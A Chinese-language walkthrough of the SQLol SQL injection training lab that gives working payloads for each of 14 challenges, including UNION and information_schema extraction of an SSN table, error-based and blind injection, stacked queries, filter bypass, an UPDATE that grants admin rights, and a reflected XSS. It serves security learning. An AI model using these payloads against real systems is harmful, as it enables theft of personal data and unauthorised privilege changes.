SQLol上面的挑战共有14关,接下来我们一关一关来突破。

Challenge 0

目的是让查询返回所有的用户名,而不是只有一个。

SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

注入点在【1】处

构造POC:  1' or 1=1# 或者 1' and 1=2 union select username from users#

都可以查询到所有的用户名。

Challenge 1

目标是找到数据库中存在的社会安全号码表并提取信息。

SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

注入点在【1】处,我们需要知道有哪些表哪些字段,才能找出所想要的信息,为此,我们使用information_schema进行查表查列。

构造POC:

查出数据库所有的库,      ' and 1=2 UNION SELECT table_schema FROM information_schema.tables#

选择sqlol库查表,           ' and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='sqlol'#

选择表,查列,              ' and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name='ssn'#

选择字段,查数据,       ' UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已经得到所想要的信息。

Challenge 2

目标是找到数据库中存在的社会安全号码表并提取信息。

SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC

注入点在【1】处,与challenge1类似,所不同的,这是数字型注入,过滤单引号。

构造POC:

查出数据库所有的库,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#

选择sqlol库查表,     1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex编码)

选择表,查列,         1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex编码)

选择字段,查数据,  1 and 1=2 UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已经得到所想要的信息。

Challenge 3

目标是找到数据库中存在的社会安全号码表并提取信息。

无提示,只输出一行,详细错误信息,查询不显示,与challenge 1类似。

构造POC:

' UNION SELECT concat(name,':',ssn) FROM ssn LIMIT 0,1

Challenge 4

目的是找出数据库中存在的社会安全号码表,并提取其信息,无盲SQL注入技术。

提示,有详细的错误,可以使用报错注入

构造POC:

' and extractvalue(1, concat(0x5c,(select user())))#

' AND ExtractValue(1,concat(0x01,(select concat(name,':',ssn) from ssn limit 0,1)))#

Challenge 5

目标是找到数据库中存在的社会安全号码表并提取信息。

提示,使用盲注,无输入错误信息

构造POC:

得到数据库的长度: 1' or  length(database())=5#

逐字猜解ascii码: 1' or  ascii(mid(database(),1,1))=115#

慢慢猜,总会猜出来的,大致方法就这个。

Challenge 6

目标是创建一个新表称为“ipwntyourdb”使用堆叠的查询。

构造POC:

SELECT username FROM users WHERE username = 'Herp Derper';create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC

Challenge 7

目标是找到数据库中存在的社会安全号码表,并从数据库中删除任何内容,以提取其信息。

提示:删除,报错,查询不显示

POC:

DELETE FROM users WHERE username = '' or updatexml(1,concat(0x7e,(version()),0x7e),0) or''

 

Challenge 8

目标找到数据库中存在的社会安全号码表并提取信息。

提示:有黑名单过滤,需绕过,过滤了union,select,where,and,or,--,#等字符。

POC:

' uNion seLect concat(name,':',ssn) from ssn uNion selEct null from users whEre username='

Challenge 9

目的是注入查询并导致其更新ID为3的用户”isadmin”更改为1。

UPDATE users SET isadmin = 1 WHERE id = 3

如何把这句拼接到原有注入点,并执行成功呢?

POC:

UPDATE users SET username = 'admin', isadmin = 1 WHERE id = 3#

更新ID为3的username为admin,并把isadmin改为1.

Challenge 10

目标是从数据库中获取社会安全号码。

提示:注入点在【1】处,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

POC:

seLect concat(name,':',ssn) from ssn#

Challenge 11

目标是从数据库中获取社会安全号码。

POC:

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC

Challenge 12

目的是使用一个SQL注入漏洞执行反射跨站脚本攻击。

POC:

1' and <script>alert(11)</script>#

SELECT username FROM users WHERE username = ' 1' and <script>alert(11)</script>#' GROUP BY username ORDER BY username ASC

执行过程中,会报错,弹窗,然后提示如下:

SELECT username FROM users WHERE username = '1' and #' GROUP BY username ORDER BY username ASC

JavaScript脚本已经成功在浏览器运行。

Challenge 13

目的是从数据库检索所有的用户名。

POC:

在没有过滤单引号的情况下:select username from users where username LIKE '2' or 1=1

过滤了单引号:

通过模糊查询的方法来盲注,

%,表示任意0个或多个字符

_,表示任意单个字符

[],表示字符括号中所列字符的一个

[^],不在这里的所列字符

根据页面返回是否正确得到判断。

1、得到username的一个首字符

select username from users where username LIKE 'P%' LIMIT 0,1

2、判断以P开头的首字符有几位

select username from users where username LIKE 'P__________' LIMIT 0,1

3、接着往下猜解呗。。。。

SQL注入测试平台 SQLol -6.CHALLENGES挑战相关推荐

  1. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  2. SQL注入测试神器sqlmap

    点击上方蓝字"开源优测"一起玩耍 声明 本公众号所有内容,均属微信公众号: 开源优测  所有,任何媒体.网站或个人未经授权不得转载.链接.转贴或以其他方式复制发布/发表.已经本公众 ...

  3. SqlMap自动化SQL注入测试工具简绍

    Sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器.它配备了强大的检测引擎,为终极渗透测试仪提供了许多小众功能,以及从数据库指纹识别,从数据库获取数据到访问底层文 ...

  4. 如何防范SQL注入 SQL注入测试

    从测试来进行测试SQL注入. 首先,看看SQL注入攻击能分为以下三种类型: Inband: 数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页 ...

  5. 安全测试中sql注入测试思路

    在找好需要测试的功能点之后,针对每种功能点(参数),sql注入测试一般遵循下面步骤: 1. 测试注入类型,数字型or字符型 如果参数中直接包含字母,那么直接可以判断是字符型参数,如id=4a. 若参数 ...

  6. 怎么进行mysql注入测试_MySQL for Java的SQL注入测试

    只要你学JDBC,基本上所有的人都会和你说,Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 基本上参加工作了一段时间之后还是这么认为的, 没错, 这句是 ...

  7. 使用Sqlmap对dvwa进行sql注入测试(初级阶段)

    0.测试准备 1)打开Kali虚拟机终端; 2)打开靶机OWASP,并通过浏览器,输入IP地址进入dvwa的主页,然后选择SQL injection进入SQL注入的测试页面 1.获取DVWA的url和 ...

  8. MySQL for Java的SQL注入测试

    2019独角兽企业重金招聘Python工程师标准>>> 只要你学JDBC,基本上所有的人都会和你说,Statement不能防止SQL注入, PreparedStatement能够防止 ...

  9. 安全测试之sql注入测试

    这篇文章,主要是来总结一下,sql注入应该如何去测试. 测试端:数据库服务端 测试点:sql注入 使用工具:burpsuit或Appscan工具或手工或sqlmap 测试方案: 1.使用ibatis或 ...

最新文章

  1. java 字符间距_java中,label或者文本框怎么设置字符之间的间距
  2. centos7 源码编译安装mysql 5.7.21
  3. json数据映射到html,在GoLang中将Json数据映射到Html模板
  4. MySQL 5.7 安装指南
  5. zabbix2.4详细安装过程
  6. php运行条件,PHP配置环境要求 php运行的先决条件
  7. [vue] 怎么解决vue动态设置img的src不生效的问题
  8. Python 学习笔记(1)
  9. 国产品牌“爱国者”首次杀入数码相机十强
  10. DOT HERE AGAIN
  11. 什么是C/S框架、什么是B/S框架
  12. jpa方言的yml格式
  13. springboot读取resources目录下文件
  14. VS2019写C++的警告C6262(请考虑将某些数据移到堆中)
  15. 电信显示isp服务器连不上,电信拨号上网连接不上的原因是什么
  16. NVIDIA驱动安装
  17. QQ空间快速登录地址
  18. Jpeg怎么变成jpg格式?教你三步快速转换格式
  19. 如今传统行业应该进行数字化转型?
  20. Word学习笔记:P1-页面简介文字编辑

热门文章

  1. MSSQL数据库安全防范学习笔记
  2. GARFIELD@12-29-2004
  3. 【DOM编程艺术】动态创建标记(签)---创建和插入节点
  4. iOS主线程耗时检测方案
  5. 098~100:ORM迁移
  6. 获取Gitlab项目的Token
  7. Java中线程池ThreadPoolExecutor原理探究
  8. P3373 【模板】线段树 2
  9. 工作后越来越觉得,丢什么也不能丢账号!
  10. paip.元数据驱动的转换-读取文件行到个list理念 uapi java php python总结